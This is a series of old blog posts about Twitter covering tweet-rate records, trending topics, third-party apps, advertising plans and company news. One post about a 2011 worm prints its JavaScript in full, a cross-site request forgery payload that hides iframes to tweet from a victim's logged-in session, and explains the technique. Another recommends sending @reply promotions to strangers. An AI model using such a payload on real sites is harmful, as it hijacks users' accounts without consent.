The announcement of Osama Bin Laden’s death last night had everyone in a frenzy, and it would seem that everyone felt the need to tweet about it on Twitter. After the announcement of his death, the whole twittersphere went it chaos. At the peak of the event around 11pm EST there was 5,106 tweets per second.

That doesn’t claim the number one spot however, the all time record is still New Years Eve 2010 in Japan when there was a staggering 6,939 TPS at its peak. However it did manage to beat the Super Bowl 2011 which only reached 4,064 TPS.

According to Twitter, the event had the highest sustained rate of tweets ever. It had an average of 3,000 tweets per second between 10:45 and 2:20am. There was an incredible 38.7 million tweets in those 3 hours and 35 minutes. At it’s peak there was an average of 3,440 tweets per second from 10:45pm to 12:30pm EST. That’s an average of 12,4 million tweets an hour.

“Last night saw the highest sustained rate of Tweets ever. From 10:45 – 2:20am ET, there was an average of 3,000 Tweets per second. At 11p.m. ET, there were 5,106 Tweets per second. At 11:45p.m. ET, when Pres. Obama finished his remarks, there were 5,008 TPS. Note: The TPS numbers we reported last night were incomplete”

To put all the events into a little perspective, here’s a list of some other notable events and their TPS records:

* The all-time record is still NYE 2010 in Japan, with 6,939 TPS at its peak

* On the day of the Japanese earthquake and tsunami (On March 11th) Twitter usage reached 5,530 TPS. (Passing the 5,000 TPS mark five times that day).

* The 2011 Super Bowl reached 4,064 TPS

* Japan’s victory over Denmark in the World Cup reached 3,283 TPS

* Final game of the 2010 NBA finals peaked at 3,085 TPS

* Last Friday’s Royal Wedding reached a peak of 3,966 TPS at 4pm London time

Were you one of those who tweeted?

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Techcrunch

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In the category of  ”You’re kidding, Right?” AOL has tapped Twitter co-founder Biz Stone as a “strategic adviser.”  He is the   ”strategic adviser for social impact.” Really.

So what will Biz do?  He will be helping AOL develop a community-social platform to facilitate people doing service in their communities. He will also be developing a video series discussing philanthropic and corporate-responsibility efforts on the part of companies and executives. That’s nice.  But really, you would think that he would be brought in to help them make money. But here is his take:

“My goal in partnering with AOL and The Huffington Post Media Group is ambitious but vitally important…Together we will rally companies to think about new ways of doing business, share best practices, and strive for positive impact at all levels–from global to local.”

It is clear what Twitter does. (It lets you convey short messages to your friends and followers.) It is also clear what the Huffington post does (it blogs political stories from a liberal point of view ). But what does AOL do? It didn’t succeed with the partnership of AOL-Time-Warner. I know what Time (magazine) does, and I know what Warner(Brothers) does. So has AOL’s mission gotten any better now that it is attached to the Huffington post?

Part of the Aol-Huffington Post connection is about “giving back” to the community. Arianna Huffington created a Huffington Post Media Group and with AOL they together launched a “30-Day Service Challenge” to try and get employees to work in their communities. Even Arianna Huffington and AOL CEO Tim Armstrong are getting in on the effort by teaching a class to schoolchildren at the Urban Academy of Arts and Letters in Brooklyn.

This is all well and good, but investors are wondering what has this got to do with AOL? How does AOL benefit?

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Why are movies a success? Because they are good? Because of the publicity? Because of the main actors? Nope it’s because of the word of mouth. If you like a movie, you tell your friends, and they tell their friends, and so on. That’s why movie studios don’t advertise a movie beyond the first week of its launch. Word of mouth takes over. So it  is no surprise that Steven Spielberg and Paramount Studios will be using Twitter to launch the publicity campaign for Super8, which will be released in June.

Super8 is a story of a catastrophe. After a terrible train crash, a group of kids who must endure the arrival of an unknown force wreaking havoc on their community.

Paramount says that this is the first time it has launched a trailer on Twitter. By the same  token it’s also the first time Twitter has been the original home to the first run of a theatrical preview. But what this says about the rise of the social media is that it can be influential in more ways than previously envisioned. Film studios are starting to realize that social media could play a central role in the popularity of movies from now on.

Just think, within moments of the end of a movie, your friends are twitting the outcome. “You gotta see the movie.” or “Steer Clear.” Even if it is not a four star movie, it can benefit from the twits making their way through the social network. This says that if this process is a success, then wait for Facebook or other networks to become players in the Hollywood delivery system.

It also means that Hollywood will start looking for different ways to advertise their upcoming movies. The standard ways are for the stars to go to Letterman, The Tonight Show, etc. But now there may be Interviews on Facebook, or short YouTube videos.

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While Superbowl 2011 has come and gone, along with it’s glitches and hickups, it did break a couple of records. 111 million people tuned into Fox to watch the game, breaking last years record audience of 106.5 million. And while it broke every single viewing record on TV, it also broke some records on Twitter too.

Fans who were watching the final few moments of the Super Bowl last weekend managed to set a new record for Tweets-per-second (TPS) for a sporting event: racking up an incredbile 4,064 Tweets which were sent at 10:07:16 p.m. EST.

This information was published in a blog post by Twitter and the below image gives a breakdown of how the tweets per second developed throughout the game.

The previous tweets per second record set for a sporting event was 3,283,  during Japan’s 3-1 win over Denmark during the World Cup soccer tournament last summer. However the Superbowl game was so popular that it managed to surpass the previous record 6 times throughout the game, especially during the half time show and with the early touchdowns.

Usher managed to grab the spot for the second highest peak when he made a surprise appears during the Black Eyed Peas Performance at half time. Usher in fact managed to grab the number one spot for being the most discussed person throughout the game, The Black Eyed Peas were next on the list of most-discussed people, followed by Slash, Eminem, and Christina Aguilera. Aaron Rodgers, the most mentioned player, was sixth.

However all this tweeting didn’t manage to set the incredible record of 6,939 TPS set in Japan just after New Years Eve.

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Twitter has really taken off in the last two years or so, and with 25 Billion tweets so far this year, it doesn’t seem to be showing any signs of slowing down. Twitter have announced the top trends from this year to give us an insight into what the whole twitter universe is “tweeting” about.

Twitters Jodi Olson said

“These trends indicated the things that are most meaningful in our lives,” Twitter’s Jodi Olson said in a blog post. “Each day on Twitter, people tweet about news, sports, entertainment, and cool new technology – and everything else in between. The list of 2010 Twitter Trends reflects what’s happening in our world, demonstrates the power of turning any event or story into a shared experience, and underscores Twitter’s value as a real-time information network.”

Twitter released not only the top trends overall, but also split up the top tweets into categories. These include news events, people, movies, television, technology, world cup, sports, and hashtags.

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So without further ado, here are the top tweets!

Top Tweets

1. Gulf Oil Spill

2. FIFA World Cup
3. Inception
4. Haiti Earthquake
5. Vuvuzela
6. Apple iPad
7. Google Android
8. Justin Bieber
9. Harry Potter & the Deathly Hallows
10. Pulpo Paul

News Events:
1. Gulf Oil Spill
2. Haiti Earthquake
3. Pakistan Floods
4. Koreas Conflict
5. Chilean Miners Rescue

People:
1. Justin Bieber
2. Dilma Rouseff
3. Lady Gaga
4. Julian Assange
5. Mel Gibson

Movies:
1. Inception
2. Harry Potter & The Deathly Hallows
3. Scott Pilgrim vs. the World
4. Despicable Me
5. Karate Kid

Television:
1. MTV Music Video Awards
2. Pretty Little Liars
3. True Blood
4. Walking Dead
5. Grammy Awards

Technology:
1. Apple iPad
2. Google Android
3. Apple iOS
4. Apple iPhone
5. Call of Duty Black Ops

World Cup:
1. FIFA World Cup
2. Vuvuzela
3. Pulpo Paul
4. Dunga
5. Diego Maradona

Sports:
1. Lebron James
2. Wimbledon
3. Manchester United
4. Brock Lesnar
5. Celtics

Hashtags:
1. #rememberwhen
2. #slapyourself
3. #confessiontime (Hashtag started by Usher)
4. #thingsimiss
5. #ohjustlikeme

There has been some people questioning why the likes of Wikileaks hasn’t managed to make the list, but Twitter have ruled out any censoring and say there is no bias in the way their trends are worked out.

“Twitter Trends are automatically generated by an algorithm that attempts to identify topics that are being talked about more right now than they were previously,The Trends list is designed to help people discover the ‘most breaking’ breaking news from across the world, in real-time. The Trends list captures the hottest emerging topics, not just what’s most popular.”

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Twitter has gone from nothing to one of the worlds biggest websites and social networking platforms in just over a year, it’s quite impressive and fair play to them, it’s still going strong. At a recent NewTeeVee conference Robin Sloan of Twitter  talked about Twitter and also the role it’s playing with TV.

He started off by letting us know that Twitter get’s approximately 90 Million tweets per day, that’s an incredible 1000 + a second! And apparently many of them are TV related as well, he even called Twitter the new EPG (electronic program guide) Twitters peak times are happening during real-time broadcast TV events. He elaborates on this point

“We’ve been talking about ‘interactive TV’ for 20 years, waiting for the magic box or platform to finally emerge. But maybe Twitter is actually the platform for interactive TV? It’s simple, increasingly ubiquitous, works on any platform… and everybody’s already using it to talk about TV.”

He has a valid point, Twitter has become the chat platform for TV, the social side, no more do people actually have to text or call in to shows, they can just tweet there opinions. Sloan gave us some examples of how Twitter is being used now on TV.

Shows like “LIFE” on the Discovery Channel prompts people to go and tweet out their own discoveries using the #mydiscovery hashtag. He called this “Synchronous show tweeting” He also noted that the cast of Jersey Shore were also tweeting during the recent series which provides a running commentary for the shows.

Twitter also played a prominent part in this years VMA awards with Justin Bieber playing host for the online chat room mainly fueled by Twitter. As a result, this years twitter fueled VMA’s raked in an impressive 11 million viewers, MTV’s largest numbers since 2002.

So twitter is playing a huge part in our lives and seems to be part of everything now a days. I think it would be great if we started to see it integrated more and more into TV’s as well, enhancing the whole user experience.

Source:

Techcrunch

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Hundred’s of thousands of twitter users were hit Sunday with a Javascript code that redirects users to a site with a goat. Then it displays an obscene message.

The url and Javascript code is

http://pastehtml.com/view/1b7xk3b.html

var el1 = document.createElement(’iframe’);
var el2 = document.createElement(’iframe’);
el1.style.visibility =”hidden”;
el2.style.visibility =”hidden”;
el1.src =  “http://twitter.com/share/update?status=WTF:%20″ + window.location;
el2.src =  “http://twitter.com/share/update?status=i%20love%20anal%20sex%20with%20goats”;
document.getElementsByTagName(”body”)[0].appendChild(el1);
document.getElementsByTagName(”body”)[0].appendChild(el2);

The  code snippet above appears to affect only certain Windows-based browsers. Apparently  if you have Chrome on Linux you may not be affected.

The tweet starts with “WTF”. So avoid that link.

To See some of the remarks about this tweet go here. (Note: it is safe to view, but may be embarrassing. )

How it Works

That WTF link opens two iframes. But  It doesn’t technically hack your Twitter account. Instead it uses your logged in browser session to tweet.  From a security format,  this is  called  “cross-site request forgery”.

Cross-site request forgery,  is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. This is unlike cross-site scripting (XSS), which exploits the trust that a user has for a particular site, CSRF exploits the trust that a site has in a user’s browser.

The exploit is actually easy – the main ingredients are:

• Twitter allowing updates through the API via IFRAMES and GET thus being vulnerable to CSRF attacks
• PasteHTML.com being vulnerable to render code without a secure site around it and executing it
• Clients or Twitter automatically applying the t.co link shortener

The code is nothing special.  You create two SCRIPT files that point to the twitter update API and send a request to do a post.Then as the user who clicked on the malicious link is authenticated with Twitter you can send them to the site on his behalf.  This is the same trick that worked for the “Don’t click this button”  exploit.

Source Social Media

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Twitter recently purchases Twittie from Atabits as an iPhone Apps. Twitter for iPhone has jumped to the position of number 1 App in the App Store. This App has been the receiver praise from Apple. It is the iPhone App of the Week in the App Store.

Twitter

Exactly why did Twitter made the purchase? Perhaps they wanted to further their brand on mobile clients. The name changed from Twittie to Twitter for iPhone, so users were not confused. On BlackBerry and Android phones, Twitter designed their own apps from scratch. However, it would be hard to top Tweetie, so they added it to their collection.

Tweetie, the app was made by the company Atebits until Twitter acquired them in April. Tweetie itself was already very popular, but its popularity will hit a whole new level now, first because of cost. The Tweetie app used to cost $2.99, but Twitter for iPhone is freely available for download. Secondly, and maybe more importantly, the new branding, “Twitter” in the App Store, adds much more visibility to the consumer masses looking for the best Twitter app available through a search.

As Apps go, the Twitter for iPhone App still remains the best Twitter client for the iPhone.  Here are some of the features: ”

• Search has been reorganized, now you can search all tweets and find users in the same spot, view Top Tweets and Browse Suggested users.
• Search results now include Top Tweets, try it with Trends.
• You can now use Twitter without an account! Search, Browse uses, view trends and top tweets.
• Sign-up is now availabile within the application as well, complete with Suggested user list.
• More tab has been re-organized to accomplish all this. Users with one account can add a second account under the Accounts and Settings button here.
• Actions we’ve found people use most, like Retweet have been moved to the main actions bar.
• Minor tweaks were made to tweet rendering so they match Twitter.com tweets”

There are other small changes. The App seems faster overall, and the new features certainly make it easy to use. Again, the price is now well, free; it does not get any better than this.

Source: Twitter

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If you have ever wondered how you could use your e-mail to send or receive tweets. A new application, Tweety Mail, lets you do just that.

TweetyMail is Twitter over email. Yes, it’s simple. You can even eliminate using the Twitter client. So how does it work? Well, its all about shooting off an e-mail. So if you want a Twitter list of the latest tweets from the people you follow, you just send an email. Soon you will get a reply with the tweets. Tweet yourself? Just shoot off another email. Or what if you want to follow someone new? That’s another email. Retweet? That’s another e-mail.

Tweety - e-mail

This operation works because every Twitter action has a different TweetyMail email address. If I want to send a Direct Message to a user, I would email that username to message@tweetymail.com. And if I want to unfollow a user, for example, I would simply email that username to unfollow@tweetymail.com. And so on.

How To Tweet

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For this operation to work, you need to connect your email account to TweetyMail. When you have done that and verify the connection, the Tweety Mail becomes your address, you’re good to go. Yyou can also hook up multiple addresses if you want.

You can have improved follower and direct message notifications. TweetyMail gives you a special address that you have to enter as your main email address on Twitter.com. In TweetyMail’s new follower notification email system you will get things such as a one-click follow, a full biography, and the most recent tweets. It’s a better system than what Twitter itself gives you.

Follower Notification

You can set up alerts for tweets from a certain user, or mentions ,or search terms. These will all be sent to your email address until you deactivate them.

Source: Tweety Mail

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The internet phenomenon that is Twitter doesn’t seem to be letting up any time soon as it continues to grow and grow with more and more tweets every second. Up to now Twitter has been content to just let users tweet out their every meal,movement and emotion without ever looking for anything in return. Twitters venture capitalists just kept investing the money without any source of immediate return, but now it looks like Twitter has a couple of new tricks up it’s sleeve to make a bit of cash for itself.

Promoted Tweets

Twitter is looking towards “Promoted Tweets” as a means of making some money. At last weeks “Chirp” conference, Twitter announced this new feature that shouldn’t affect users too much. It’s fairly unintrusive compared to some other traditional ad units.

Businesses and the like can create a campaign of tweets which will be shown in search results. For example say you do a search for “iPod Touch” then in the search result of tweets, you may get a sponsored tweet from Apple with a link to buy an iPod Touch.

These tweets will more than likely appear at the top or towards the top of search results and will be judged by their resonance. It’s kind of like CTR but also includes favourites and retweets. If a tweet is found to have resonance, it will remain; if it doesn’t resonate, it will quickly fade away, to be replaced with another, even from another vendor in another campaign. “Resonance” is dictated by the number of times users interact with the ad, how often they’re retweeted, favorited, and interacted with, including coming up in topics and other metrics.

Mobile Apps

Twitter are also working on getting their very own Twitter apps out there. While there are a whole rake of third party applications out there for iPhone, Blackberry and Android, Twitter want to have their very own. They have just announced a Twitter app for Blackberry and they also have plans for an iPhone and Android one further down the road.

Geo-Tagging

Twitter have now also unveiled a new feature called “Places” which will allow users to better see where tweets are coming from. Twitter will keep a database of restaurants, bars, parks, stations and other public arenas and will then try and work out where a tweet is coming from. Users will also be able to tag the location of tweets.

Archives

Twitter has decided to sell it’s archive of tweets to the Library of Congress, making them searchable on Google. So that means that every single tweet you have ever “tweeted” will be available, you may learn to regret some of your tweets!

All public tweets, dating back to the very first one on March 21, 2006, are now hosted in the government’s Library of Congress.

Live Search

And finally, Tweets from twitter will now start showing up in Bing as live results which continually update, this feature has been available in Google for a while now as well.

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If you’ve been to Craigslist, you know that one of its best features is that different cities or states are identified so you can access goods or services in that region.  Now imagine Twitter, with it’s 140 character limit, and the hundreds or thousands of followers; all looking at each other or at least that is the theory. But what if you could break down your Twitter followers by region so that in some ways it was like Craigslist. Well that is what Anttenna is trying to do.

The Anttenna service, which is in limited locations like Seattle, San Diego, Las Vegas and Austin is a free iPhone app. It is like Craigslist, Foursquare, and Twitter all rolled into one. The business goal is to create a new form of classified advertising, something like “mobile microlistings” that are targeted to a user’s location.

Anttenna in Action

For example, if you are looking for tickets for a sporting event in your city, use the app to communicate with other local users of the app, to buy the tickets.

Like Twitter, the listings through Anttenna are limited to 140 characters. The company has designed the program service to follow Twitter. Complete strangers who are not following one another on the social networking site can interact with one another in order to facilitate a deal. This is called ”Anttweeting.”

Anttenna Examples

The company plans to make money through a premium subscription service in which “power sellers” are able to predetermine the times that they want listings to automatically appear in the Anttenna marketplace.

The basic plan is free, followed by a mid-tier offering of $15 per month, and a higher-tier set costing $25 per month. Other pay systems are being looked at like a system similar to eBay, or a paid listing service where users could pay an extra fee to highlight their listing within the app.

The small number of locations using the service is is few todate. The went live in San Diego a few weeks ago and launched in Seattle last week; the company is targeting a larger nationwide push in early May.

Source: Anttenna

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Social Engineering Networks are very popular today. Twitter, probably the best known, offers unique opportunity’s  for users to exchange information not only with each other, but also to resolve issues. Such is the case with Firefox trying an experiment in social networking.

Starting next week Firefox users will be able to receive technical support from Firefox through twitter. According to the SOMA blog FireFox intends to offer technical assistance. The origins of their concern comes when Firefox users experience a problem, they might post a tweet to express their frustration bypassing SUMO to getting help with their issue.  Firefox looks bad… there is a problem…users don’t find resolution… and users complain.

To that end Firefox intends a three stage process to eliminate the problem. First they hope to reach users who need help. If a snippet can solve their problem. They want to reach close to 100% of all users. Users can twitter their problem to Firefox, and they will respond, presumably, within a short period of time. Second they want to get a better understanding of the current public perception of Mozilla Firefox, and the biggest or most frequent problems users experience, and act upon that information. The old cliche about bad publicity not hurting doesn’t really apply to software products, or for that matter any consumer product. Finally, they want to prevent issues from spiraling out of control by intercepting and channeling those issues in the direction of SUMO if help is not possible through Twitter. In other words, if the 140 character twit cannot resove their problem they will be redirected to the SUMO blog page.

At present they want to start with objectives 1 and 3, since they are connected together and, moreover, can be handeled with a minimal use of tools. They are prepared to pursue a test run with a small Firefox team over the period of a week. The purpose is to gather information about collaboration in a social media setting.

Twitter is the launch point since it is the most open social network platform available, What they learn will determine how to continue the process. Other social network processes may be in the horizons, but for now, it is twitter.

Source SUMO Blog

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There has recently been a small drama on twitter when on of the engineers at the website tweeted about some unknown but ‘nifty’ employee-only beta features for the Twitter website. He commented that if users had these features, they might not use desktop apps ever again and then added that they will soon have this feature. As a result, there was a lot of general speculation about what these features might be centered on. But the third-party developers who develop apps for twitter were of course not happy about this.

So when asked, this twitter engineer, called Alex Payne, quickly pointed out that these features would almost certainly be available on the public API first, like always. He also pointed out that the beta features that he is talking about are actually built on top of the public API. Finally tried his hand at pacifying them even further by saying that they were just really excited about these features and they would inspire desktop app developers.

alex payne's original tweet that started it all

Twitter as a whole is mainly accessed by people through third party apps or even on site modifications via javascript like pbTweets (sort of like what Greasemonkey does for FireFox). But there are people still who use the main twitter website and some of them are like me who use the main website as well as a client. There are things that cannot be denied about clients — they are often laden with features that Twitter lacks. The reason behind twitter lacking these features is because of the core simplicity that drives the service.

Once you add a bunch of features, like br.st for example, to the main website, it might soon become too bloated or complicated. Too many features will thus spoil the broth for all of us. And hopefully they won’t make that mistake. So what will they do?

Well, that depends. As the article on TechCrunch rightly points out — the upcoming talk about a Twitter ad network is really going to be pivotal to what happens next to twitter. After all, that is what is expected to make Twitter profitable. Search is said to be central for serving ads on Twitter and it sort of makes sense. With Twitter’s real time stream, it would be quite problematic to serve up AdSense-like  contextual ads based on a personal stream, which is too varied in most cases any way. But searches are far more specific and sometimes really valuable depending on the amount of searching and tracking that is going on.

Seesmic is a popular 'fully featured' twitter client

Twitter’s current search features is really very limited and a total lack of improvement might actually be a sign of it being a feature that is being worked upon behind the scene. Twitter already added lists and retweets last year and for a service like Twitter, those really big updates to the service. Geo-location is also a big feature that is mostly in the making right now than totally live. That fact that Twitter is working on bringing more local trends to the service speaks for itself in a way. Plus we all know by now how important geo location is for social and real time services. And Twitter practically kick started the whole real time deal online.

The main hurdle for Twitter is not to burden the system and keep the much-loved minimalism of the service. Whilst lists and retweets were really in demand before they were added, most other extra features offered by clients only may be too much. It looks like Twitters upcoming developer’s convention Chirp will be full of interesting things to report.

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The Twitter revolution took off last year with millions of users tweeting their thoughts to the world, the majority of them complete rubbish. I really don’t care that you had cornflakes for breakfast or that your coffee was cold, I’ve a lot more things to worry about in life which are actually important. But Twitter continues to grow, maybe not as fast as it was but it still has millions of users and thats a big audience that you can promote yourself and your products to.

Everybody is trying to get as many followers as they possibly can on Twitter so they can market their product, website or blog. There are countless schemes out there that people try and actually spend money on in order to get a couple of thousand followers on Twitter. Desperate Twitters can spend hours following every random person in the hope that they get some follows back, and yes while this does increase your followers, they’re generally not your target audience.

But there is away to promote yourself on Twitter without having thousands of followers, and whats more you will be promoting yourself to your target audience.

It’s quite simple really just follow these steps:

On the Twitter homepage there is a search bar, it’s also on your twitter profile page.

So for example, say your trying to promote a page you have on a review of “Call Of Duty” or your trying to sell “Call Of Duty” merchandise. Simply type in ” Call Of Duty ” into the search bar ( you can add -http to prevent other links from showing up )

This search will bring up a list of people talking about your chosen topic, so obviously they have some interest in it, therefore they are your target market.

Stalicious1 for example is playing COD on the PS3,

Let’s just say I’m selling some PS3 headsets on my site, I simply reply to his tweet with the link to my site

And there you have it, it’s as easy as that, “Stalicious1″ will now see this reply on his twitter page, and so will everyone else who visits his page and the chances are you will get a few clicks and maybe even some sales.

Do this with multiple users, people are more likely to read and pay attention to their @ replies more than private messages that you send them, also everyone else can see their @ replies, giving you even more exposure. Even more you may get some extra followers as well.

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A few weeks ago I read about the comedian Drew Carey’s offer to donate $1m to the charity Livestrong setup by the greatest cyclist ever Lance Armstrong for each person that followed him on twitter, up to a million followers.  I expected to see a massive rush of people following Drew but as of today his follower count ‘only’ stands at 256,249:

Now you might be a bit sceptical that this a clever (but expensive) attempt by Drew to promote himself, which Drew denies, but regardless the money is going to a good charity and you can always unfollow Drew in the New Year as the count stops on Dec 31st.  Two seconds is all it will take you to give $1 to charity, so please follow Drew now on twitter.

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